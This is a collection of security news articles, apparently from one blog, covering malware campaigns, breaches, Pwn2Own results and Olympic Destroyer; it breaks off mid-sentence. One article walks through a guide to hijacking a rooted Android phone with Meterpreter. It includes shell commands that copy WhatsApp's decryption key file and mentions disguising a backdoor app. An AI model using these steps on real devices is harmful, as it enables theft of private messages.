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The Qatar-based broadcaster Al-Jazeera announced all its systems were under a large-scale cyber attack. The news was spread in a statement released on social media by the broadcaster., Media reported that some viewers in the region were not able to receive the signal of the Al-Jazeera television., BREAKING: Al Jazeera Media Network under cyber attack on all systems, websites & social media platforms. More soon: pic.twitter.com/ZlBBEpTDf6, — Al Jazeera English (@AJEnglish) June 8, 2017, , According to a source at Al-Jazeera, the broadcaster was attempting to mitigate the hack., “An attempt has been made, and we are trying to battle it,” said the source., The cyber attack comes while in the Gulf area winds of crisis are blowing after the recent hack of the Qatar’s state-run news agency. Qatar hack is sparking diplomatic tensions in the Gulf, Saudi Arabia, the United Arab Emirates, Egypt and Bahrain cut ties to the country., , The states are accusing Qatar of financing of extremist groups and its ties to Iran, Saudi Arabia’s local opponents., Qatar asked help to the FBI who is investigating the hack, US intelligence believes Russian hackers were involved in the cyber attacks and disinformation campaign against the state., Pierluigi Paganini, (Security Affairs – Al-Jazeera, Qatar hack)

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It’s known that military sector represents a privileged incubator for new technologies than in many cases are subsequently used in civil., The mobile sector represents one of the most vulnerable environments due the lack of awareness on cyber threats and the increasing number of malware that are affecting devices devoid of any defense system., These weakness are exploited by cybercrime for frauds and by governments for cyber espionage purposes., People ignore the power of modern smartphone, equipped with sophisticated processors, GPS module, motion sensors, a microphone, a gyro and high definition cameras …what could happen if an ill-intentioned attacker takes control of these components?, We have already read about the existence of software to spy on victims that are able to record communications and movements but the Naval Surface Warfare Center in Crane, Indiana in collaboration with researchers at Indiana University created a new  type of ‘visual malware’. The malware is able activate remotely the camera to  acquire images reconstructing the user’s environment in 3D., This category of malicious code opens up a physically intrusive attack space by abusing the on-board components of a user’s smartphone that give malware the ability to observe the physical environment around the phone, allowing attackers to go beyond simply stealing the electronic data stored on the phone., Reworking the 3D model of user’s space the attackers could acquire interesting info on the morphology of the environment and on the objects inside, it could also acquire snapshot of personal documents scattered on a desktop or for example retrieve info from a wall calendar that shows user plans for the month., The possible implication are very interesting, the law enforcement for example could acquire information on environment of a person under investigations, but cyber criminals could use the same information to have a detailed 3D map of their victim’s environment. The researchers have named the malware PlaceRaider and it is able to infect smartphone using the Android 2.3 OS., The OS is not a constraint, in fact the developers declared that the malware could be adapted to be multiplatform and to infect others famous OS such as iOS and Windows Mobile., The PlaceRaider App requires several access permissions from the host OS in particular permission to access the camera and to send data to control server , but fortunately all of these permissions would be needed for an innocent enhanced camera application, so asking the user for them is unlikely to arouse suspicion., The malware takes randomly pictures analyzing location and orientation of the mobile, and of course the time, and it is able also to discard all those picture captured that are useless, like the ones took from the user’s pocket, discarding them before the transfer to command server, on-board preprocessing performs gross data reduction and packaging for transmission., Data reduction and transmission is a core component of the app because images are taken surreptitiously and opportunistically, and majority of them have a very low quality or are redundant . The app select a minimal subset of images to send to the control server with the intent to preserve network bandwidth and storage space, the central server elaborates all the pictures reconstructing a 3D model of the user’s environment., , A thief for example could use these information to make a reconnaissance to acquire useful information for planned theft., “PlaceRaider is the first example of sensory malware that threatens privacy in a more general manner using a combination of sensors, showing that through virtual theft a malicious actor can explore personal spaces and exploit or steal a plethora of sensitive information.”, Robert Templeman, that leads the group of developers, has demonstrated the results of the tests conducted over 20 individuals, the mobile were successfully infected and the researchers were able to build detailed 3D models of the victim’s environments., The server side 3D engine provides a powerful exploration tool for the navigation of user’s space and the possibility to search for a specific object or detail simply selecting an area, the system in fact is able to recognize the area and to search for all those images related like shown in the next figure., ,  , The group of researchers demonstrated that accurate 3D models can be created from opportunistically created photos taken by a smartphone camera as the device undergoes normal use., ,  , In the next future similar sensory malware will be sensibly improved, let’s think for example that it is possible to reduce data stored or bandwidth, a further evolution could be the possibility to equip the malware with a library of pre-defined objects to improve the recognition phase specifing the analysis to a set of objects of interest. The authors think for example to the introducing of optical character recognition or bar code recognition to glean text and other sensitive data from the scene., How can we defend ourselves?, It’s fundamental to increase the level of awareness on cyber threats in mobile environments, these devices are powerful computation machine and must be protected in the proper way. It’s desirable that an information campaign is started soon to spread best practices for use of mobile and to invite users to adopt necessary defense systems., Mobile devices are an extension of our senses, is an obligation to protect them!, Pierluigi Paganini

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Threat Research Labs, Netskope, published a detailed research on the malware “CloudFanta” campaign, suspect since July 2016 to steal more than 26,000 worth of email credentials. CloudFanta benefits from the ‘SugarSync’ – a cloud storage app – to distribute itself and steal user credentials and monitor online banking activities to extract sensitive information., CloudFanta attacks its victims through an attachment link in a spearfishing email. It lures the victim to click on the provided link or execute a file. According to the experts at Netskope, the SugarSync spread the malware with a URL “ The downloaded zip archive “NF-9944132-br.zip” contained a downloader JAR file “NF-9944132-br.PDF.jar” with the dual extension “.PDF.jar.” The files retrieved by this downloader JAR are detected by Netskope Threat Protection as “Backdoor.Generckd.3549404,, Backdoor.Generckd.3540808,, Backdoor.Generckd.18673650,, Backdoor.Generckd.3542220, and Gen:Variant.Symm.60013.”, Above research explained by Netskope, suggests that users are primarily targeted by a link in a spearphishing email, which lures and leads them to download a zip file which contains a dual extension “.PDF.JAR” to fool the victim. When he opens the JAR file, it silently downloads DLL (Dynamic Linked Library) files in the background (C:\users\public)., , The CloudFanta malware goes undetected by network security devices such as firewalls, and intrusion detection systems because it downloads DLL files under the hoax extension “.PNG” and uses SSL/HTTPS communication. These DLL files are then renamed with the hostname and extension “.TWERK”, The director of engineering and cloud security research of Netskope, Ravi Balupari explains that “This malware campaign looks for the users’ email addresses and passwords,” he says, “It’s also targeting specific users.” As the primary target of CloudFanta is currently Brazil., How does this malware work? When victims enter their login credentials on an infected machine, their sign-in page redirects to a phishing sign-in page so that their credentials can be stolen. When they enter their credentials the data is uploaded to the C&C server, and then they are redirected back to the original sign-in page. Balupari explains, the malware also bypasses security measures of virtual keyboards, as most banks use sign-in through virtual keyboards., When victims try to access their accounts, the malware takes a snapshot of every single click. It then saves a text file containing mouse clicks, which helps attackers to view victim’s passwords later., SugarSync isn’t the only software application affected by CloudFanta; the malware also abused DropBox to host malicious files. The ability to automatically download files and SugarSync’s broad user base made it easier for the malware to spread itself., Traditional malware used other servers to host attacker’s files, on the other hand with the cloud, it is convenient for them to have broader access and spread cloud-based malware quickly and access everywhere., Balupari explains, “Typically, cloud-based apps provide a convenient method for downloading files.”, Netskope has joined hands with Sugarsync to stop the malware from spreading by taking down infected URLs. The collaboration is to provide information on malicious links and monitor CloudFanta changes in other malware campaigns., Balupari said, “We’ll definitely see a rise in cloud malware campaigns going forward,” he further said, “Enterprises and customers who have been adopting cloud apps need to add additional layers of security.”, There are various steps businesses and individuals can take to prevent cloud-malware from infecting their sensitive information, for example, policy to block executable files with type “image/png,” end-to-end encryption software, enable “view known file extension” in windows explorer, two-factor authentication, Virtual Private Network (VPN) software, updated antivirus, and keep system updated., IT pros should also make a practice to keep tracks and detect unauthorized cloud services and ensure policies regarding prevention of data loss, managing data entry, and back-up of sensitive data stored in the cloud., About the Author: Peter Buttler is a Professional Security Expert and Lecturer. He serves as a Digital Content Editor for different security organizations. While writing he likes to emphasize on recent security trends and some other technology stuff. You can follow him on Twitter.,  ,  , Edited by Pierluigi Paganini, (Security Affairs – CloudFanta Malware, cloud)

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Microsoft announced in the last Tuesday’s bulletin that crooks have been exploiting a vulnerability that allows to execute malicious code using booby-trapped USB., The vulnerability affects all supported versions of Windows OS as confirmed by Microsoft., “An elevation of privilege vulnerability exists when the Mount Manager component improperly processes symbolic links. An attacker who successfully exploited this vulnerability could write a malicious binary to disk and execute it.  To exploit the vulnerability, an attacker would have insert a malicious USB device into a target system. The security update addresses this vulnerability by removing the vulnerable code from the component., Microsoft received information about this vulnerability through coordinated vulnerability disclosure. When this security bulletin was issued, Microsoft has reason to believe that this vulnerability has been used in targeted attacks against customers.” States Microsoft., , This vulnerability, coded as CVE-2015-1769, is reminiscent of the flaw exploited by the creators of Stuxnet as we talked in the past, it affects functions that process so-called .LNK files Windows uses to display icons when a USB stick is plugged in., In 2010 Microsoft patched the .LNK vulnerability with MS10-046, the main difference between the vulnerability fixed with the release MS10-046 and the new one, is that MS10-046 would be exploited remotely and the new one can be exploited only locally by using a USB stick. For this reason the exploitation of the new flaw is more difficult and severity assigned to the attack isn’t the highest., Microsoft yesterday patched the vulnerability, MS15-085, in Windows Mount Manager, a driver in mountmgr.sys that assigns driver letters for dynamic and basic disk volumes., About the Author Elsio Pinto (@high54security) is at the moment the Lead Mcafee Security Engineer at Swiss Re, but he also as knowledge in the areas of malware research, forensics, ethical hacking. He had previous experiences in major institutions being the European Parliament one of them. He is a security enthusiast and tries his best to pass his knowledge. He also owns his own blog Mcafee Security Engineer at Swiss Re, but he also as knowledge in the areas of malware research, forensics, ethical hacking. He had previous experiences in major institutions being the European Parliament one of them. He is a security enthusiast and tries his best to pass his knowledge. He also owns his own blog  Pierluigi Paganini, (Security Affairs – USB exploit, CVE-2015-1769)

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Threats actors in the wild are exfiltrating data with a technique based on video uploaded to cloud services. Attackers adopted this trick to move data from a compromised target outside without detection by conventional solutions, such as intrusion detection/prevention systems. To further improve the tactic, bad actors utilize steganography to hide encrypted data into video uploaded to an unmonitored video sharing service., Why only videos and not images?, Security experts know that there are several tools available that can detect the use of steganography in images, these software are able in fact to detect signatures of common steganography tools and techniques. The situation is quite different for video and threat actors  using the exfiltration technique that we have described know it., The attackers can use one several off the shelf tools or open source software (i.e. OpenPuff) to implement steganography of exfiltrated data. As revealed by TripWire in a blog post, one of the Fortune 500 companies was recently hit by hackers that used the above technique to exflitrate data., , The data exfiltration went undetected until the company noticed several duplicate video files had been uploaded from their network to a video sharing website., There are a number of tools available that can detect the presence of steganography in images on a network, such as software to appliances designed specifically for detecting signatures of common steganography tools and techniques. The problem is they are generally designed to detect the use of steganography in images, not video. The groups using this as an exfiltration technique are well aware of this, hence why they are using video instead of images which would be an easier transport mechanism., As mitigation strategy it is suggested to network administrators to monitor the installation of application or custom binaries used by attackers to encode data into a video or an image. Administrators should already be monitoring assets for new binaries on hosts. The administrators anyway need to monitor outcoming connections to external services that could, Another mitigation strategy to detect software that could be used in the data exfiltration technique described is to scan of host systems for video files especially for the assets that are critical in the network., Also, by monitoring connections of a host system to external services administrators is possible to detect suspicious activity., As explained by TripWire, in the case of the Fortune 500 company that was targeted with this data exfiltration technique, the attackers used the same videos to send different pieces out of the targeted network., Pierluigi Paganini, (Security Affairs –  Data exfiltration, cybercrime)

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Malware once were used primarily to destroy the victim’s PC, but the scenario has completely changed today., While surviving the need of wanting to harm with malicious software, for example in the development of cyber weapons, the current trend is to develop agents that serve primarily to the function of spying., Cybercrime, governments, and groups of hacktivists, with different purposes, tend to lean toward the spread of malicious agents that have the capacity to infiltrate the targets be silently stealing from them the most information. Profit, Power, Protest the main motivations behind the attacks, that are radically changing user’s approach to the web and the their perception of security., We usually blame China but recent events have shown that it is common practice to use malware with these purposes, Google for example has detected a massive operation against performed by Chinese Hackers against several tens U.S. and multinational companies, but China is not the only nations involved in similar attacks, let’s consider for example United States and researches to develop cyber weapon that are able to infiltrate sensitive networks to steal information. The project Olympic Games is the evidence of the effort spent in this new form of offense, and other valid examples of malware used with cyber espionage purpose are Duqu and Flame both developed to gather sensible information from Iranian Government., It’s true that most cyber operations of espionage traces back to China, but not all are related to government activities. According Joe Stewart, director of malware research at managed security provider Dell Secureworks,  many of them are conducted by private businesses., “The victims are, by and large, in Asia,” he said. “But China is absolutely attacking everyone. There are plenty of victims.”, A recent study on cyber-espionage has demonstrated that more than 200 families of malware have been designed and used to spy on government and corporate representatives., We have assisted to the diffusion of new agents that works in botnet architectures, in similar way to the ones used by cybercrime for massive attacks, but that are specifically developed for selected targets that resulting to have a minor dimension., The study reveals that more than 1,100 domain were used in the attacks, in particular the experts have traced the botnet used analyzing the traffic produced, the Sinkholing, a consolidated technique used by many security firms,, Sinkholing is a technique that researchers use to redirect the identification of the malicious C&C server to their own analysis server. With this methods researcher design a map of the botnet and of the control center identifying the type and numbers of final attacks., In many cases when the malicious domains expires security company acquire them to continue the analysis posing as C&C servers. The study of Dell Secureworks demonstrated that the identified botnet have hit with multiple attacks Japanese targets in both private and business sectors., Attacks have the primary intent to steal classified information from government agencies or trade secrets from corporations and the situation could be extremely dangerous for the economy of a company and of the overall country., With similar attacks governments and business try to reduce the technological gap with their competitors, it’s clear how much diffused is the phenomenon., The cybercrime is not watching, it has increased focus in targeting individuals and organizations of all sizes to steal financial information, in particular under pressure has made the small businesses too vulnerable to cyber attacks., The Trend Micro has reported a sensible increase of focused attacks respect previous quarter (27%), around  142 million threats which were blocked from infecting small businesses but also large companies have been hit by the crime as happened for the IXSHE campaign., The web is a jungle where it is increasingly difficult to defend our identity and resources. Rik Ferguson, director of security research and communication, Trend Micro declared:, “The reason why criminals are focusing their attacks on stealing personal data is simple. It’s the sheer volume of people working from multiple devices that leaves them vulnerable to attacks,”, “While Trend Micro has been integral in working with authorities to break up a number of cybercriminal rings over the last year, these cybercriminals have acquired new techniques and tools from collaborating with one another to accelerate their ‘industry.’ The fact is: business is booming for cybercrime and everyone needs to take notice.”, Cyber espionage represents a serious cyber threat, and government agencies are defining best practices to reduce the risk of exposure to the attacks., NIST has recently released the public comment release of Draft Special Publication 800-83 (SP) Revision 1, Guide to Malware Incident Prevention and Handling for Desktops and Laptops., Malware is considered the most common external threat to most hosts, causing widespread damage and disruption and necessitating extensive recovery efforts within most organizations., This publication provides recommendations for improving an organization’s malware incident prevention measures., It also gives extensive recommendations for enhancing an organization’s existing incident response capability so that it is better prepared to handle malware incidents, particularly widespread ones., The awareness  program sponsored by US government a good initiative to limit the diffusion of malicious agents a first and necessary step to protect our digital identities, our cyber space, our Nation., Pierluigi Paganini

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The popular hacking competition Pwn2Own is concluded, let’s see how much hackers earned and which applications they have successfully pwned., White hat hackers have earned a total of $267,000 at Pwn2Own 2018 competition for exploits targeting Microsoft Edge, Apple Safari, Oracle VirtualBox and Mozilla Firefox., This year the popular competition organized by TrendMicro Zero Day Initiative was sponsored by Microsoft and sponsor VMware., The overall prize pool announced by ZDI was $2 million, but only a total of $267,000 was awarded by the hackers., The overall amount was less than in the past years, in 2017 white hackers earned $833,000, $460,000 in 2016) and $552,500 in 2015., “Overall, we awarded $267,000 over the two-day contest while acquiring five Apple bugs, four Microsoft bugs, two Oracle bugs, and one Mozilla bug.” states the organization., “While smaller than some of our previous competitions, the quality of research was still extraordinary and highlights the difficulty in producing fully-functioning exploit for modern browsers and systems.”, On the first day, hackers earned a total of $162,000 USD and 16 points towards Master of Pwn. The white hat hacker Richard Zhu, aka fluorescence, failed to hack Safari, but he successfully used an exploit chain against Edge earning $70,000., The hacker Niklas Baumstark from the Phoenhex team was awarded with $27,000 for hacking VirtualBox and the expert Samuel Groß, aka saelo, of Phoenhex received $65,000 for hacking Safari., “The first day of Pwn2Own 2018 has come to a close, and so far, we’ve awarded $162,000 USD and 16 points towards Master of Pwn. Today saw 2 successful attempts, 1 partial success, and 1 failure. In total, we purchased 3 Apple bugs, 2 Oracle bugs, and 3 Microsoft bugs.” states the official site of the competition., , , On the second day, the hackers earned a total of $105,000 USD and 11 more Master of Pwn points awarded., Richard Zhu earned $50,000 for hacking Firefox with a Windows kernel EoP. He chained an out-of-bounds (OOB) write in the browser followed by an integer overflow in the Windows kernel., Zhu was the star of the Pwn2Own 2018, he won the Master of Pwn award this year receiving a total of $120,000 and 65,000 ZDI reward points worth roughly $25,000., “The day started with the return of Richard Zhu (fluorescence), this time targeting Mozilla Firefox with a Windows kernel EoP. He eschewed all drama today and successfully popped Mozilla Firefox on his first attempt.” states the post published on Day 2 of the Pwn2Own 2018., “He used an out-of-bounds (OOB) write in the browser followed by an integer overflow in the Windows kernel to earn himself another $50,000 and 5 more Master of Pwn points. This brings his event total to $120,000 and a commanding lead for Master of Pwn.”, , On the same day, white hackers Markus Gaasedelen (gaasedelen), Nick Burnett (itszn13), and Patrick Biernat of Ret2 Systems, Inc. targeted Apple Safari with a macOS kernel EoP., At the fourth attempt, they successfully demonstrated their exploit but Pwn2Own rules state that the exploit must be demonstrated in a maximum of three attempts., They were not awarded but Zero Day Initiative (ZDI) did purchase the vulnerabilities and disclosed them to Apple., The last entry for the day saw a team from MWR labs, composed of Alex Plaskett (AlaxJPlaskett), Georgi Geshev (munmap), and Fabi Beterke (pwnfl4k3s), successfully targeting Apple Safari with a sandbox escape., The same team earned $55,000 for a Safari sandbox escape obtaining a heap buffer underflow in the browser and an uninitialized stack variable in macOS., Pierluigi Paganini, (Security Affairs – PWN2OWN 2018, hacking)

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The Hilton hotel chain is paying a $700,000 settlement to the states of New York and Vermont after being accused of mishandling two separate cyber attacks that exposed financial data of its customers., The credit card breaches were in 2014 and 2015 and affected more than 363,000 payment cards., The investigation revealed that crooks installed a PoS malware in Hilton payment systems, potentially exposing customers’ card details between 18 November and 5 December 2014., The second incident was spotted in July and dates back April of the same year., , Hilton Domestic Operating Company, Inc notified customers about the incident only in November 2015., The company is accused of poor security of its payment system and is responsible for the delay in informing customers., “Businesses have a duty to notify consumers in the event of a breach and protect their personal information as securely as possible,” said Attorney General Eric T. Schneiderman., “Lax security practices like those we uncovered at Hilton put New Yorkers’ credit card information and other personal data at serious risk. My office will continue to hold businesses accountable for protecting their customers’ personal information.”, As part of the settlement, Hilton will strengthen the security of its payment systems and internal procedures for incident handling., “Hilton is strongly committed to protecting our customers’ payment card information and maintaining the integrity of our systems,” the company said in a statement., Let’s try to imagine the outcome of this incident under the forthcoming EU GDPR regulation. With such regulation in line, it would be $420 million, as the fine can represent up to 4 percent of the company’s turnover., , Pierluigi Paganini, (Security Affairs –  Hilton Hotel, card data breach)

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The case that I’m going to present you demonstrates the importance of patch management and shows the effects of the militarization of the cyberspace., The flaw exploited by the Stuxnet worm was first patched by Microsoft in 2010, but threat actors in the wild continue to exploit it in a huge number of cyber attack., According to Kaspersky Lab, the flaw used by Stuxnet to target Windows machines, tracked as CVE-2010-2568 has been weaponized to remotely execute code on unpatched Windows computers., The dangerous trend continues, in August 2014 experts from Kaspersky revealed that in the period between November 2013 and June 2014, the Windows Shell vulnerability (CVE-2010-2568) exploited by Stuxnet was detected 50 million times targeting nearly 19 million machines all over the world., In 2015, and in 2016, roughly one of four of the Kaspersky users was targeted by an exploit code leveraging on the CVE-2010-2568., “To take just one example, when we looked at our most recent threat statistics we found that exploits to CVE-2010-2568 (used in the notorious Stuxnet campaign) still rank first in terms of the number of users attacked. Almost a quarter of all users who encountered any exploit threat in 2016 were attacked with exploits to this vulnerability.” states a report published by Kaspersky., , Of course, the CVE-2010-2568 vulnerability only affects very old OS, including Windows XP and Windows Server 2008, and unpatched versions of Windows 7., Attackers most used the Stuxnet exploit code to create malicious codes that can “self-replicate” over a targeted network., Concluding, the militarization of the cyberspace has serious consequences on Internet users, even if the malware was spread many years ago., I suggest the reading of the research published by Kaspersky that provides interesting data on most exploited vulnerabilities and threat actors leveraging on them., Pierluigi Paganini, (Security Affairs – Stuxnet exploits, hacking),

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A few hours ago it has been published an interesting post on “How to Hack and Decrypt WhatsApp Database (Remotely) ROOT” that explains how to extract and decrypt WhatsApp database from a rooted Android system., Despite WhatsApp is considerable very secure, the practice of rooting the Android device could expose ‘experienced users’ to risks of attack., Let’s see step by step the attack scenario proposed by author that uses the pseudonymous of F.E.A.R., Step 1: Exploit and Gain Access to the Android!, As explained in this guide, this phase is quite simple if the Android device is rooted by using the Meterpeter commands-, , In order to Hack and Decrypt WhatsApp database the attacker need a key file that is present in the data folder, the only way to access it is having the root privileges.  The key file is indispensable to decrypt the WhatsApp database, Step 2: Download the Database, Use the following sequence of command to download the database via Meterpreter:, Step 3: Extract the Decryption Keys:, The key file necessary to decrypt the WhatsApp database stores two sets of decryption keys, the actual encryption key, K and an initialization vector called IV. WhatsApp key file is stored in a secure location., These are the commands to extract the key file:, As explained by F.E.A.R. this is the most difficult part, especially if the target is experienced and skilled users, because he must have installed the SuperSU application., How to convince victims to install it?, Give a look to this tutorial published by the user bart that explains how to disguise a back-door application. The things go better is the victim is an inexperienced and unskilled users in the following cases:, Execute the following commands to access the key folder and extract the decryption key., cd / cd /data/data ls cd com.whatsapp ls cd files ls cp key /sdcard/Download (Means copy the file ‘key’ to sdcard>Download folder), Step 4: Download the decryption key file in the root directory:, Step 5: Decrypt WhatsApp database!, #1 Using Linux Commands:Copy and Paste the commands one at a time, don’t make a a script out of it, or it will not work:, In case the 4th command does not work, follow:, (Copy the printed text), (Copy the printed text), For the second method based on the Simple Windows WhatsApp Viewer Application give a look to the original post., Lesson learned …Rooting or jailbreaking mobile devices could open users to hack ;-).,  , Pierluigi Paganini, (Security Affairs – Decrypt WhatsApp Database, WhatsApp)

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Security experts from Kaspersky have discovered a news strain of the infamous mobile banking trojan Faketoken that implements capabilities to detect and record an infected device’s calls and display overlays on top of taxi booking apps to steal banking information., “The authors of its newer modifications continue to upgrade the malware, while its geographical spread is growing. Some of these modifications contain overlay mechanisms for about 2,000 financial apps. In one of the newest versions, we also detected a mechanism for attacking apps for booking taxis and paying traffic tickets issued by the Main Directorate for Road Traffic Safety.” states the analysis published by Kaspersky., Now the new variant of the malware dubbed Faketoken.q was improved again to steal credentials from Uber and other booking apps as well., Faketoken.q is being distributed using bulk SMS messages to trick users into downloading an image file that actually downloads the malware., The mobile Trojan is composed of two parts, the first part is an obfuscated dropper (verdict: Trojan-Banker.AndroidOS.Fyec.az), the second one is a file with DAT extensions that contains the malware’s main features., Once victims have downloaded the Android malware it installs the necessary modules and the main payload, which hides its shortcut icon and starts monitoring user’s activities, including calls to launched apps., When the calls are made to or received from certain phone numbers, Faketoken.q records the conversations and sends the recordings to the attacker’s server. The malicious code also checks which apps the victim is using and when detects the launch of an app whose interface it can clone, it overlays the app with a fake user interface., The fake user interface presented by Faketoken.q prompts victims to enter their payment card data, including the bank’s verification code., Researchers observed that the malware is able to display fake interface for many mobile banking apps and other applications, such as:, The Trojan is able to intercept the incoming SMS messages to obtain the SMS code sent by the bank to authorize transactions, then it forwards the code to C&C server., It seems that Faketoken.q has been developed to target Russian-speaking users because it only uses the Russian language on the user interface., To avoid being infected by Faketoken and apps similar malware, do not install applications from third-party stores and pay attentions to unsolicited SMSs and email messages you receive on your mobile device., Pierluigi Paganini, (Security Affairs – Faketoken, Android malware)

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In July 2014, malware researchers at Trend Micro published a report on the hacking campaign “Operation Emmental” that was targeting Swiss bank accounts whit a multi-faceted attack that allowed crooks to bypass two factor authentication implemented by the financial organization to protect its customers., According to the experts, the Operation Emmental has been around since at least 2012., The experts dubbed the campaign “Operation Emmental” because of the numerous holes in the security implemented by the Swiss banks, exactly like the popular Swiss Emmental cheese., The hackers used a malware which was able to intercept SMS tokens used to authorize operations and change domain name system settings to hijack victims to rogue bank websites, which were a replica of legitimate ones, used for phishing attacks., The threat actors targeted bank customers’ accounts in different countries, including in Switzerland, Austria, Japan and Sweden. Investigators suspected that Russian-speaking individuals were responsible for the Operation Emmental due clues discovered in the source code analyzed., The hackers behind the Operation Emmental have continued to improve their malicious codes. The hackers used on Android malware and a Windows banking Trojan tracked as Retefe and WERDLOD., The novelty in the operation of the group is represented by the usage of a new variant of the Dok malware in a new wave of attacks against the Swiss banks., The malicious code is delivered via email, once the DOK malware infects a macOS system, it gains administrative privileges and installs a new root certificate. The root certificate allows the malicious code to intercept all victim’s communications, including SSL encrypted traffic., According to researchers at Trend Micro, the malware variant tracked as OSX_DOK.C is configured to hijack traffic only if the victim’s external IP is located in Switzerland.  OSX_DOK.C redirects users to bogus login pages for the financial organizations whose domain is included in a hardcoded list., “The OSX_DOK malware (Detected by Trend Micro as OSX_DOK. C)  showcases sophisticated features such as certificate abuse and security software evasion that affects machines using Apple’s OSX operating system.” reads the analysis published by Trend Micro., The Dok sample detected by Trend Micro was considered by the malware researchers the Mac version of Retefe/WERDLOD., “While WERDLOD and OSX_DOK.C use different codes (since they target different operating systems), they have similar proxy settings and script formats.”, “Comparing it to OSX_DOK.C, we can see that it uses the same script format” Trend Micro researchers said in a blog post., “Given the connection between WERDLOD and OSX_DOK.C, it is reasonable to assume that the latter is also a part of the Operational Emmental campaign,” , , The researchers observed that the latest versions of the Dok malware leverage a bug in the Ultimate Packer for Executables (UPX) tool to pack the Trojan and avoid detection., Pierluigi Paganini , (Security Affairs – Dok Malware, Operation Emmental)

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One of the leading computer security companies of Russia, Group-IB and its CERT (CERT-GIB), found that Android malware is available for sale by cybercriminals. With explosion of mobile market and increase of Android users, more devices can be infected by malware downloaded through Android Market or Google Play or from 3d party WEB-sites., “Nowadays it is possible to buy Android phishing malware for 4 000 USD with source codes, which is amazing opportunity for cybercriminals to move beyond PC’s in their attempt to hack bank accounts” – said Dan Clements, Group-IB US Managing Partner., Two models of mobile malware seem prevalent in the underground,  , Pic.1, Pic.1 – SMS/Calls mobile interception malware for Android, with opportunities of blocking of SMS and calls from the targeted numbers, such as banks call-centers or fraud detection departments., Translation:, Today’s modern cyber criminals don’t block all SMS, and don’t block targeted number from the bank, they use signature detection method of the banking customers notification messages by several criteria such as the bank’s brand name, it’s notifications templates, and many other things, which help them to block and intercept all the messages from the bank including OTP tokens needed for banking transfer validation on the customer’s side., Pic.2, Many banks in some countries don’t provide an opportunity of sending funds through online-banking service to other countries or financial institute, that’s why cybercriminals are interested in attacking traditional PCs in classical way through exploits and banking trojans, and use mobile malware as a supportive mean of theft., The malware is targeted on European Union countries, Middle East and Asia countries, excluding Russia and Ukraine, but can be efficiently modified and exploited on wide ranges of the countries including US and Canada., Many of these cyber gangs share revenue of approximately 30% from these ill-gotten gains. To carry out their deeds they also use very big mobile botnets or tones of mobile traffic., Pic.2 – phishing mobile malware has become more popular because of its ease of entry into the market for any medium-level criminal. It costs near 1 000 USD on the black market, with the services included for its configuration and support (prefixes, mobile number configuration, SMS billing, timing for SMS sending), Translation:, Cybercrime methods are becoming increasingly complex, and as already happened for desktop environments also mobile market is increasing in concerning way. It’s fundamental to monitor black market and detect instance of its products spread in the wild … Group-IB has provided me evidence of their excellent work in the monitoring and detection of incoming cyber threats., Thanks, Pierluigi

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In the past years, many times US authorities and private industry have accused Chinese electronics manufacturer Huawei of cyber espionage, let’s remind also that Symantec has broken its joint-venture with the company, Huawei-Symantec, because the US firm feared business repercussion for the collaboration with the Chinese giant., This time the situation was reversed, according classified documents leaked by Edward Snowden and released to popular newspapers Der Spiegel and The Times, the National Security Agency has hacked the network and the servers of the headquarters of Chinese Huawei., The US Government justified its activities as ‘Hacking for National Security‘ and to demonstrate that Chinese giant Huawei is responsible for ‘Corporate Theft‘., , According to the documents, the US hackers targeted email servers of Huawei five years ago, in the 2009, searching for sensitive information. The hacking campaign conducted by the NSA was codenamed as “Operation Shotgiant“, it was arranged with the support of the CIA, the FBI and the White House intelligence coordinator., “Because Huawei directed all mail traffic from its employees through a central office in Shenzhen, where the NSA had infiltrated the network, the Americans were able to read a large share of the email sent by company workers beginning in January 2009, including messages from company CEO Ren Zhengfei and Chairwoman Sun Yafang.”, The hacking operation was conducted to demonstrate the participation of China’s People’s Liberation Army into Huawei strategy, so to demonstrate that the Chinese company was collaborating with the Government of Beijing to spy on US., “If it is true, the irony is that exactly what they are doing to us is what they have always charged that the Chinese are doing through us,” he said. “If such espionage has been truly conducted, then it is known that the company is independent and has no unusual ties to any government and that knowledge should be relayed publicly to put an end to an era of mis- and disinformation.” has criticized Huawei spokesman Bill Plummer. , “We currently have good access and so much data that we don’t know what to do with it,” states one internal document. As justification for targeting the company, an NSA document claims that “many of our targets communicate over Huawei produced products, we want to make sure that we know how to exploit these products.”, The documents also reported that the NSA was spying on former Chinese President Hu Jintao, the country’s trade ministry, banks, and telecoms firms. Another interesting intelligence activity conducted by the NSA is related to the tracking dozens of Chinese hacking groups, some of team belonging to Government military., Pierluigi Paganini, (Security Affairs –  Huawai, NSA hacking)

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The same malware used in recent Olympic Winter Games in Pyeongchang, tracked as Olympic Destroyer, has been used in a new wave of attacks against organizations in Germany, France, the Netherlands, Russia, Switzerland, and Ukraine., , Shortly before the opening ceremonies on Friday, televisions at the main press centre, wifi at the Olympic Stadium and the official website were taken down., According to an analysis conducted by experts from Cisco Talos, there are many similarities between the Pyeongchang attack, which they dubbed ‘Olympic Destroyer‘ and earlier attacks such as BadRabbit and NotPetya. All of these attacks are focused on destruction and disruption of equipment not exfiltration of data or other, more subtle attacks. Using legitimate tools such as PsExec and WMI the attackers targeted the pyeongchang2018.com domain to steal browser and system credentials to move laterally in the network and then wipe the victim computer to make it unusable., While the source of the attacks is uncertain, the Cisco Talos blog post is clear in identifying motivation, “Disruption is the clear objective in this type of attack and it leaves us confident in thinking that the actors behind this were after embarrassment of the Olympic committee during the opening ceremony.”, Threat actors behind Olympic Destroyer planted false flags and artifacts inside the wiper to make hard the attribution. Security experts that investigated the case believe the attack was powered by a nation-state actor likely linked to North Korea, Russia or China., Back to the present, experts from Kaspersky Lab uncovered new cyber attacks involving Olympic Destroyer in May and June., The threat actors targeted financial companies in Russia and European organizations involved in protection against chemical and biological threats., “In May-June 2018 we discovered new spear-phishing documents that closely resembled weaponized documents used by Olympic Destroyer in the past. This and other TTPs led us to believe that we were looking at the same actor again. However, this time the attacker has new targets.” reads the analysis published by Kaspersky., “According to our telemetry and the characteristics of the analyzed spear-phishing documents, we believe the attackers behind Olympic Destroyer are now targeting financial organizations in Russia, and biological and chemical threat prevention laboratories in Europe and Ukraine. They continue to use a non-binary executable infection vector and obfuscated scripts to evade detection.”, ,  , The attackers spread the malware via spear-phishing messages using weaponized documents, many of which referenced bio-chemical threat research., The experts observed that the some of the emails were written in perfect Russian, likely a Russian speaker was involved in the campaigns., The campaigns involved PowerShell scripts and Powershell Empire, the latter is an open-source framework that allows fileless control of the compromised machine, it has also a modular architecture and relies on encrypted communication., The threat actors leveraged compromised legitimate web servers as command and control infrastructure, many servers were running vulnerable versions of the Joomla content management system., According to the experts, the fact that hackers hit financial organizations 